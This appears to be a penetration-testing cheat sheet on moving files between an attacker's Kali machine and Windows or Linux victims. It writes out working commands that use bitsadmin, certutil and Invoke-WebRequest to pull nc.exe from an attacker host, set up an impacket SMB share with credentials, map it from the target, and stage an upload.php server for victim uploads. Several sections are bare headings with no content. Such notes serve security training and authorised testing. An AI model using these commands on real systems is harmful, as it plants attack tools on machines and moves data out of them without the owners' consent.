Transfer File
Windows
Download file from web server
bitsadmin /Transfer RoutineJob http://10.10.x.y/file.txt C:\windows\tasks\file.txtHTTP Server
# kali
python3 -m http.server 80
# windows
[cmd] certutil.exe -urlcache -f http://<ip kali>/nc.exe nc.exe
[PS] Invoke-WebRequest -Uri "http://<ip kali>/nc.exe" -OutFile "C:\Windows\Tasks\nc.exe"Impacket-smbserver
# kali linux
impacket-smbserver -smb2support -user test -password P@ssw0rd warrior `pwd`
# windows target
[PS] net use * \\192.168.45.198\warrior /user:test P@ssw0rd
or
[cmd] net use * \\<kali ip>\warrior
[cmd] cd Z:\nc.exe
# windows target run [ctrl + r]
\\<kali ip>\warriorFTP with Python
wget with VBScript
run wget.vbs
wget.vbs
Non-Interactive command:
Linux
netcat
Upload.php
Attacker Machine:
setup the php web server
/var/www/html/upload.php
Power up the apache server
Victim:
Python Simple Upload HTTP Server
run this in attacker machine, use for downloading the file and uploading the file from victim machine.
Last updated